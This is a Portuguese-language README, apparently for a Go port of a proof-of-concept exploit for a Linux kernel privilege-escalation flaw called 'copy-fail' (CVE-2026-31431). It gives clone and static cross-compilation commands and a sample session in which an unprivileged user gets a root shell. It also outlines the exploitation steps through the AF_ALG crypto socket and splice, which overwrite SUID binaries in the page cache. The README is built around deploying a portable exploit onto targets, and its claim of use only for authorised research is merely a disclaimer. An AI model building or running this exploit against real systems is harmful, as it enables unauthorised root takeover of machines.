
# Port Go do PoC de escalonamento de privilégios no kernel Linux CVE-2026-31431 (copy-fail), com enumeração automática de binários SUID e seleção interativa de alvo.
Porte em Go do PoC em Python de grenkoca para a CVE-2026-31431 (copy-fail).
Esta versão compila para um binário totalmente estático, sem dependências em tempo de execução — sem Python, sem pip, sem restrições de versão da libc. Basta colocá-lo em qualquer alvo Linux e executá-lo. Ele também enumera automaticamente todos os binários SUID legíveis mundialmente no alvo e permite que você escolha qual explorar de forma interativa.
Apenas para pesquisa de segurança autorizada e uso em CTF.
Descoberta pela Theori e divulgada publicamente em 29 de abril de 2026, a Copy.Fail é uma falha lógica no módulo criptográfico algif_aead do kernel Linux, introduzida por meio de uma otimização de 2017. Ela afeta todas as principais distribuições Linux desde 2017.
Ao manipular a interface criptográfica AF_ALG do kernel, um atacante sem privilégios pode escrever dados controlados diretamente no page cache do Linux — a representação em memória de binários confiáveis do sistema. Isso permite sequestrar temporariamente binários como /usr/bin/su sem modificar o arquivo no disco, tornando a perícia baseada em disco cega ao ataque.
Diferente de muitas falhas de escalonamento de privilégios locais (LPE) que dependem de condições de corrida ou vazamentos de endereços do kernel, a Copy.Fail é altamente confiável e funciona de forma consistente apenas com uma conta de usuário padrão.
Impacto:
Kernels afetados: Todas as distribuições desde 2017. Consulte o PoC original de grenkoca para a faixa específica de versões.
| Ferramenta | Versão |
|---|---|
| Go | 1.21+ |
git clone https://github.com/3jee/copy-fail-go
cd copy-fail-go
go build -o copy-fail .
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-s -w" -o copy-fail .
As flags -s -w removem informações de depuração para reduzir o tamanho do binário. CGO_ENABLED=0 produz um binário totalmente estático, sem dependência da libc — basta colocá-lo em qualquer alvo Linux, independentemente da versão do glibc.
| Alvo | Comando |
|---|---|
| Linux ARM64 | GOOS=linux GOARCH=arm64 CGO_ENABLED=0 go build -o copy-fail . |
| Linux x86 32 bits | GOOS=linux GOARCH=386 CGO_ENABLED=0 go build -o copy-fail . |
Transfira o binário para o alvo e execute-o (sem necessidade de root):
./copy-fail
Exemplo de sessão:
CVE-2026-31431 (copy-fail) - Go PoC
Baseado no PoC original de grenkoca
Procurando por binários SUID legíveis mundialmente...
Binários SUID legíveis mundialmente encontrados:
------------------------------------
[1] /usr/bin/su
[2] /usr/bin/sudo
[3] /usr/bin/passwd
[4] /usr/bin/newgrp
Selecione o alvo [1-4]: 1
[*] Alvo: /usr/bin/su
[*] Escrevendo 48 bytes em /usr/bin/su...
[+] Escrita concluída. Executando o alvo...
# whoami
root
O_RDONLY — nenhuma permissão de escrita é necessária.AF_ALG (SOCK_SEQPACKET) vinculado à transformação AEAD authencesn(hmac(sha256),cbc(aes)).sendmsg elaborado com MSG_MORE e mensagens de controle SOL_ALG para enfileirar uma operação criptográfica contra a entrada do page cache do arquivo alvo.splice(2) para mover páginas do arquivo para o socket ALG, acionando o caminho vulnerável do kernel que grava de volta páginas modificadas do page cache sem revalidar as permissões do arquivo.| Original (Python) | Este repositório (Go) |
|---|
| Linguagem | Python 3 | Go 1.21+ |
| Alvo | /usr/bin/su fixo no código | Detectado automaticamente por varredura do sistema de arquivos |
| Seleção de alvo | Nenhuma | Menu interativo numerado |
| Distribuição | Script | Binário estático único (sem dependências em tempo de execução) |